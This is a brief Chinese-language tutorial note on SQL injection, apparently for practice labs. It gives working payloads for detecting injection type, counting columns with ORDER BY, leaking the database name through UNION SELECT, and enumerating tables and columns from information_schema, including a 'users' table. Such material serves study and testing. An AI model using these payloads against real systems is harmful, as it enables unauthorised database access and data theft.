SQL注入漏洞危害
id=1 and 1 = 1--+
id=1 and 1 = 2--+
id=1' and 1 = 1--+
id=1' and 1 = 2--+
可以用来判断是字符型注入/数字型注入
id=1' order by 3 --+
id=1' order by 4 --+
这些SQL注入语句中的 order by
子句用于对结果进行排序,而排序的字段编号是从 1 开始的。如果在 order by
子句中指定了一个大于当前查询结果字段数的数字,则数据库会返回一个错误,这表明当前查询的字段数目小于指定的字段编号。
?id=-1' union select 1,database(),3 --+
这里的1,3仅充当占位符号,保证union的列相同
这个SQL注入语句的目的是利用 UNION SELECT
连接两个 SELECT 查询的结果,从而泄露数据库信息。具体来说,它使用 database()
函数获取当前数据库的名称,并将其作为查询结果的一部分返回。因此,如果在查询结果中看到了数据库名称,则说明注入成功。
以下是一种可能的检测方法:
-
将注入语句作为查询发送到目标服务器。
-
检查查询结果是否包含一个数字为
1
和另一个数字为3
的行。如果存在这样的行,则说明注入成功。 -
如果注入成功,将查询改为
?id=-1' union select 1,2,table_name from information_schema.tables --+
,这样就可以获取当前数据库中所有表的名称。 -
逐个尝试获取每个表的列名,方法是将查询改为
?id=-1' union select 1,2,column_name from information_schema.columns where table_name='table_name_here' --+
,其中table_name_here
是要查询列名的表的名称。 -
如果想要使多列名于一行显示可以用下面代码
?id=-1' union select 1,2,GROUP_CONCAT(column_name) from information_schema.columns where table_name='users' --+